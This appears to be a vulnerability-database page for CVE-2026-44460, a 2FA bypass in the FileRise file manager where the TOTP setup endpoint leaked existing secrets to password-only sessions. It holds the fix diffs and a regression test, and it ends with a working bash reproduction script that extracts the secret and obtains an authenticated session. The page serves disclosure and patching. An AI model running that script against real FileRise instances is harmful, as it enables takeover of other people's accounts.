VYPR
High severity7.4NVD Advisory· Published May 27, 2026

CVE-2026-44460

CVE-2026-44460

Description

FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.12.0, /api/totp_setup.php is callable from a session that has only passed the password check (state pending_login_user). When the target account already has TOTP configured, the endpoint decrypts and returns the user's existing TOTP secret inside the QR PNG instead of refusing or generating a new secret. An attacker who already possesses the victim's password can therefore retrieve the live TOTP secret, derive a valid one-time code, submit it to /api/totp_verify.php, and obtain a fully authenticated session without ever possessing the victim's authenticator device. This vulnerability is fixed in 3.12.0.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

CVE-2026-44460: In FileRise before 3.12.0, the TOTP setup endpoint leaks the existing secret in a QR code when called from a password-only session, letting an attacker with the password bypass 2FA.

Vulnerability

FileRise versions prior to 3.12.0 expose /api/totp_setup.php to sessions that have only passed the password check (pending_login_user state) but have not yet completed the second factor [1]. When the target account already has TOTP configured, the endpoint decrypts and returns the user's existing TOTP secret embedded inside the QR PNG image, instead of refusing the request or generating a new secret [1]. This enables an attacker who already possesses the victim's password to also obtain the TOTP secret.

Exploitation

An attacker must first obtain the victim's password through credential stuffing, breach reuse, phishing, keylogger, or weak-password brute force [1]. With the password in hand, the attacker initiates a login session, provides the correct password, and enters the pending_login_user session state. The attacker then calls /api/totp_setup.php; the endpoint checks only for pending_login_user (or fully authenticated) and responds with a QR PNG containing the decrypted TOTP secret [1]. The attacker extracts the secret from the QR code, generates the current valid one-time code using any TOTP library, and submits it to /api/totp_verify.php. This yields a fully authenticated session without ever needing access to the victim's authenticator device [1].

Impact

Successful exploitation allows an attacker to completely bypass the TOTP-based second factor, negating the additional security that 2FA is designed to provide [1]. Once the TOTP secret is obtained and a valid code is submitted, the attacker gains the same level of authenticated session access as the legitimate user, including any files, operations, and settings available within that FileRise instance [1].

Mitigation

The vulnerability is fixed in FileRise version 3.12.0 [1]. All users are strongly advised to upgrade to this release or later. There are no workarounds disclosed for older versions [1].

AI Insight generated on May 27, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2
  • Error311/Fileriseinferred2 versions
    <3.12.0+ 1 more
    • (no CPE)range: <3.12.0
    • (no CPE)range: <3.12.0

Patches

4
11c2bd7e5632

release(v3.12.0): TOTP setup flow hardening

https://github.com/error311/fileriseRyanApr 30, 2026Fixed in 3.12.0via llm-release-walk
5 files changed · +87 34
  • CHANGELOG.md+27 0 modified
    @@ -1,5 +1,32 @@
     # Changelog
     
    +## Changes 04/29/2026 (v3.12.0)
    +
    +`release(v3.12.0): TOTP setup flow hardening`
    +
    +**Commit message**  
    +
    +```text
    +release(v3.12.0): TOTP setup flow hardening
    +
    +- auth(totp): tighten setup QR access to fully authenticated profile sessions
    +- auth(totp): avoid reusing existing TOTP enrollment data during setup
    +```
    +
    +**Fixed**  
    +
    +- **TOTP setup flow hardening**
    +  - Tightened TOTP setup so enrollment QR generation is only available from a fully authenticated profile session.
    +  - Accounts that already have TOTP configured are no longer offered a setup QR for the existing enrollment.
    +  - Existing TOTP sign-in, recovery-code, disable, and first-time setup flows remain supported.
    +
    +**Changed**  
    +
    +- **Authenticator re-enrollment behavior**
    +  - Users who need to enroll a replacement authenticator should disable TOTP and enable it again to generate a fresh enrollment.
    +
    +---
    +
     ## Changes 04/16/2026 (v3.11.2)
     
     `release(v3.11.2): phpseclib security dependency update`
    
  • public/api/profile/totp_setup.php+5 1 modified
    @@ -5,7 +5,7 @@
          * @OA\Get(
          *     path="/api/profile/totp_setup.php",
          *     summary="Set up TOTP and generate a QR code",
    -     *     description="Generates (or retrieves) the TOTP secret for the user and builds a QR code image for scanning.",
    +     *     description="Generates a new TOTP secret for an authenticated user and builds a QR code image for scanning.",
          *     operationId="setupTOTP",
          *     tags={"TOTP"},
          *     security={{"cookieAuth": {}}},
    @@ -26,6 +26,10 @@
          *         description="Not authorized or invalid CSRF token"
          *     ),
          *     @OA\Response(
    +     *         response=409,
    +     *         description="TOTP is already configured"
    +     *     ),
    +     *     @OA\Response(
          *         response=500,
          *         description="Server error"
          *     )
    
  • src/FileRise/Domain/UserModel.php+28 18 modified
    @@ -809,20 +809,30 @@ public static function setupTOTP($username)
             global $encryptionKey;
             $usersFile = USERS_DIR . USERS_FILE;
     
    +        if (!preg_match(REGEX_USER, $username)) {
    +            return ['error' => 'Invalid username', 'statusCode' => 400];
    +        }
    +
             if (!file_exists($usersFile)) {
                 return ['error' => 'Users file not found'];
             }
     
             $lines = file($usersFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) ?: [];
    -        $totpSecret = null;
    +        $userExists = false;
     
             foreach ($lines as $line) {
                 $parts = explode(':', trim($line));
    -            if (count($parts) >= 4 && strcasecmp($parts[0], $username) === 0 && !empty($parts[3])) {
    -                $totpSecret = decryptData($parts[3], $encryptionKey);
    +            if (count($parts) >= 3 && strcasecmp($parts[0], $username) === 0) {
    +                $userExists = true;
    +                if (count($parts) >= 4 && !empty($parts[3])) {
    +                    return ['error' => 'TOTP is already configured for this account', 'statusCode' => 409];
    +                }
                     break;
                 }
             }
    +        if (!$userExists) {
    +            return ['error' => 'User not found', 'statusCode' => 404];
    +        }
     
             $tfa = new \RobThree\Auth\TwoFactorAuth(
                 new \RobThree\Auth\Providers\Qr\GoogleChartsQrCodeProvider(),
    @@ -832,25 +842,25 @@ public static function setupTOTP($username)
                 \RobThree\Auth\Algorithm::Sha1
             );
     
    -        if (!$totpSecret) {
    -            $totpSecret = $tfa->createSecret();
    -            $encryptedSecret = encryptData($totpSecret, $encryptionKey);
    +        $totpSecret = $tfa->createSecret();
    +        $encryptedSecret = encryptData($totpSecret, $encryptionKey);
     
    -            $newLines = [];
    -            foreach ($lines as $line) {
    -                $parts = explode(':', trim($line));
    -                if (count($parts) >= 3 && strcasecmp($parts[0], $username) === 0) {
    -                    if (count($parts) >= 4) {
    -                        $parts[3] = $encryptedSecret;
    -                    } else {
    -                        $parts[] = $encryptedSecret;
    -                    }
    -                    $newLines[] = implode(':', $parts);
    +        $newLines = [];
    +        foreach ($lines as $line) {
    +            $parts = explode(':', trim($line));
    +            if (count($parts) >= 3 && strcasecmp($parts[0], $username) === 0) {
    +                if (count($parts) >= 4) {
    +                    $parts[3] = $encryptedSecret;
                     } else {
    -                    $newLines[] = $line;
    +                    $parts[] = $encryptedSecret;
                     }
    +                $newLines[] = implode(':', $parts);
    +            } else {
    +                $newLines[] = $line;
                 }
    -            file_put_contents($usersFile, implode(PHP_EOL, $newLines) . PHP_EOL, LOCK_EX);
    +        }
    +        if (file_put_contents($usersFile, implode(PHP_EOL, $newLines) . PHP_EOL, LOCK_EX) === false) {
    +            return ['error' => 'Failed to save TOTP secret'];
             }
     
             // Prefer admin-configured otpauth template if present
    
  • src/FileRise/Http/Controllers/UserController.php+11 15 modified
    @@ -16,7 +16,7 @@
      * - Hardened CSRF/auth checks (works even when getallheaders() is unavailable)
      * - Consistent method checks without breaking existing clients (accepts POST as fallback for some endpoints)
      * - Stricter validation & safer defaults
    - * - Fixed TOTP setup bug for pending-login users
    + * - TOTP setup is restricted to fully authenticated profile sessions
      * - Standardized calls to UserModel (proper case)
      */
     class UserController
    @@ -528,40 +528,36 @@ public function saveTOTPRecoveryCode()
     
         public function setupTOTP()
         {
    -        // Allow access if authenticated OR pending TOTP
    -        if (!( (isset($_SESSION['authenticated']) && $_SESSION['authenticated'] === true) || isset($_SESSION['pending_login_user']) )) {
    -            http_response_code(403);
    -            header('Content-Type: application/json');
    -            echo json_encode(["error" => "Not authorized to access TOTP setup"]);
    -            exit;
    -        }
    +        self::requireAuth();
    +        self::requireCsrf();
     
    -        $username = $_SESSION['username'] ?? ($_SESSION['pending_login_user'] ?? '');
    +        $username = $_SESSION['username'] ?? '';
             if (defined('FR_DEMO_MODE') && FR_DEMO_MODE && $username === 'demo') {
                 http_response_code(403);
                 header('Content-Type: application/json');
                 echo json_encode(['error' => 'TOTP setup is disabled for the demo account.']);
                 exit;
             }
     
    -
    -        self::requireCsrf();
    -
    -        // Fix: if username not present (pending flow), fall back to pending_login_user
    -        $username = $_SESSION['username'] ?? ($_SESSION['pending_login_user'] ?? '');
             if ($username === '') {
                 http_response_code(400);
                 header('Content-Type: application/json');
                 echo json_encode(['error' => 'Username not available for TOTP setup']);
                 exit;
             }
    +        if (!preg_match(REGEX_USER, $username)) {
    +            http_response_code(400);
    +            header('Content-Type: application/json');
    +            echo json_encode(['error' => 'Invalid user identifier']);
    +            exit;
    +        }
     
             header("Content-Type: image/png");
             header('X-Content-Type-Options: nosniff');
     
             $result = UserModel::setupTOTP($username);
             if (isset($result['error'])) {
    -            http_response_code(500);
    +            http_response_code((int)($result['statusCode'] ?? 500));
                 header('Content-Type: application/json');
                 echo json_encode(["error" => $result['error']]);
                 exit;
    
  • tests/security/auth_security_regressions.php+16 0 modified
    @@ -112,6 +112,7 @@ function rrmdir(string $dir): void
     
     $_COOKIE['remember_me_token'] = $token;
     require_once $baseDir . '/config/config.php';
    +require_once $baseDir . '/src/FileRise/Domain/UserModel.php';
     
     $errors = [];
     
    @@ -183,6 +184,21 @@ function rrmdir(string $dir): void
     $validated = \FileRise\Domain\AuthModel::validateRememberToken($expiredToken);
     failIf($validated !== null, 'validateRememberToken: expired token should be rejected', $errors);
     
    +$existingTotp = 'JBSWY3DPEHPK3PXP';
    +$encryptedTotp = encryptData($existingTotp, $GLOBALS['encryptionKey']);
    +file_put_contents(
    +    $usersFile,
    +    'alice:$2y$10$O5J7bX3GmJpJ6S.1oW6Hj.8L0N9csmXz7D8Gk4r.3hWBjC1u3n7De:0' . PHP_EOL .
    +    'bob:$2y$10$O5J7bX3GmJpJ6S.1oW6Hj.8L0N9csmXz7D8Gk4r.3hWBjC1u3n7De:0:' . $encryptedTotp . PHP_EOL,
    +    LOCK_EX
    +);
    +$setupExisting = \FileRise\Domain\UserModel::setupTOTP('bob');
    +failIf(
    +    ($setupExisting['statusCode'] ?? null) !== 409,
    +    'setupTOTP: existing TOTP secret should not be re-emitted',
    +    $errors
    +);
    +
     if ($errors) {
         echo "FAIL\n";
         foreach ($errors as $err) {
    
11c2bd7e5632
https://github.com/error311/fileriseFixed in 3.12.0via llm-release-walk
11c2bd7e5632
https://github.com/error311/fileriseFixed in 3.12.0via llm-release-walk
bfb0082be6a0

chore(release): set APP_VERSION to v3.12.0 [skip ci]

https://github.com/error311/filerisegithub-actions[bot]Apr 30, 2026Fixed in 3.12.0via release-tag
1 file changed · +1 1
  • public/js/version.js+1 1 modified
    @@ -1,2 +1,2 @@
     // generated by CI
    -window.APP_VERSION = 'v3.11.2';
    +window.APP_VERSION = 'v3.12.0';
    

Vulnerability mechanics

Root cause

"The TOTP setup endpoint accepted password-only pending-login sessions and decrypted the user's existing TOTP secret into the QR response instead of refusing the request."

Attack vector

An attacker who already possesses the victim's password (via credential stuffing, breach reuse, phishing, keylogger, or weak-password brute force) can exploit this vulnerability to bypass TOTP protection entirely [ref_id=1]. The attacker first submits the password to `/api/auth/auth.php`, which places the session into the `pending_login_user` state [ref_id=1]. From that pending-login session, the attacker calls `/api/totp_setup.php` (which previously accepted pending-login sessions) to retrieve a QR PNG containing the victim's existing decrypted TOTP secret [ref_id=1]. The attacker extracts the secret from the QR code, derives a current one-time code using `oathtool`, submits it to `/api/totp_verify.php`, and obtains a fully authenticated session without ever possessing the victim's authenticator device [ref_id=1].

Affected code

The vulnerability spans two files. In `src/FileRise/Http/Controllers/UserController.php`, the `setupTOTP()` method accepted sessions in the `pending_login_user` state (password-only, no TOTP verified) [ref_id=1]. In `src/FileRise/Domain/UserModel.php`, the `setupTOTP()` method decrypted and returned the user's existing TOTP secret inside the QR PNG instead of refusing the request when a secret already existed [ref_id=1]. The patch modifies both files to require full authentication and to reject accounts that already have TOTP configured [patch_id=2725546].

What the fix does

The patch makes two complementary changes [patch_id=2725546]. In `UserController.php`, the authorization check is replaced with `self::requireAuth()`, which requires a fully authenticated session and rejects the `pending_login_user` state entirely [patch_id=2725546]. In `UserModel.php`, the method now checks whether the account already has a stored TOTP secret and returns a `409 Conflict` error with the message "TOTP is already configured for this account" instead of decrypting and re-emitting the existing secret in a QR code [patch_id=2725546]. A new secret is always generated via `$tfa->createSecret()` rather than conditionally reusing the decrypted existing secret [patch_id=2725546]. The CHANGELOG confirms that users who need to enroll a replacement authenticator should disable TOTP and enable it again to generate a fresh enrollment [patch_id=2725546].

Preconditions

  • inputAttacker must possess the victim's password (obtained via credential stuffing, breach reuse, phishing, keylogger, or weak-password brute force)
  • configVictim's account must have TOTP already configured
  • networkTarget FileRise instance must be network-accessible to the attacker

Reproduction

```bash #!/usr/bin/env bash

TARGET="http://127.0.0.1:8080" USERNAME="admin" PASS="Abcd1234!"

# Step 1 — submit the password only; server enters pending_login_user state curl -sk -c j -X POST "$TARGET/api/auth/auth.php" \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$USERNAME\",\"password\":\"$PASS\"}" printf "\n"

# Step 2 — fetch a CSRF token from the unauthenticated endpoint CSRF=$(curl -sk -b j "$TARGET/api/auth/token.php" | jq -r .csrf_token)

# Step 3 — pull the TOTP setup QR from the pending-login session curl -sk -b j -H "X-CSRF-Token: $CSRF" \ "$TARGET/api/totp_setup.php" -o qr.png printf "\n"

# Step 4 — recover the secret and derive the current TOTP SECRET=$(zbarimg --raw qr.png | sed -E 's/.*secret=([A-Z2-7]+).*/\1/') CODE=$(oathtool --totp -b "$SECRET")

printf 'Secret: %s\n' "$SECRET" printf 'Code: %s\n' "$CODE"

# Step 5 — submit the code; persist the new PHPSESSID issued on success curl -sk -b j -c j -X POST "$TARGET/api/totp_verify.php" \ -H 'Content-Type: application/json' \ -H "X-CSRF-Token: $CSRF" \ -d "{\"totp_code\":\"$CODE\"}" printf "\n"

# Step 6 — confirm the session is fully authenticated curl -sk -b j "$TARGET/api/auth/checkAuth.php" printf "\n" ```

Generated on May 27, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

1

News mentions

0

No linked articles in our index yet.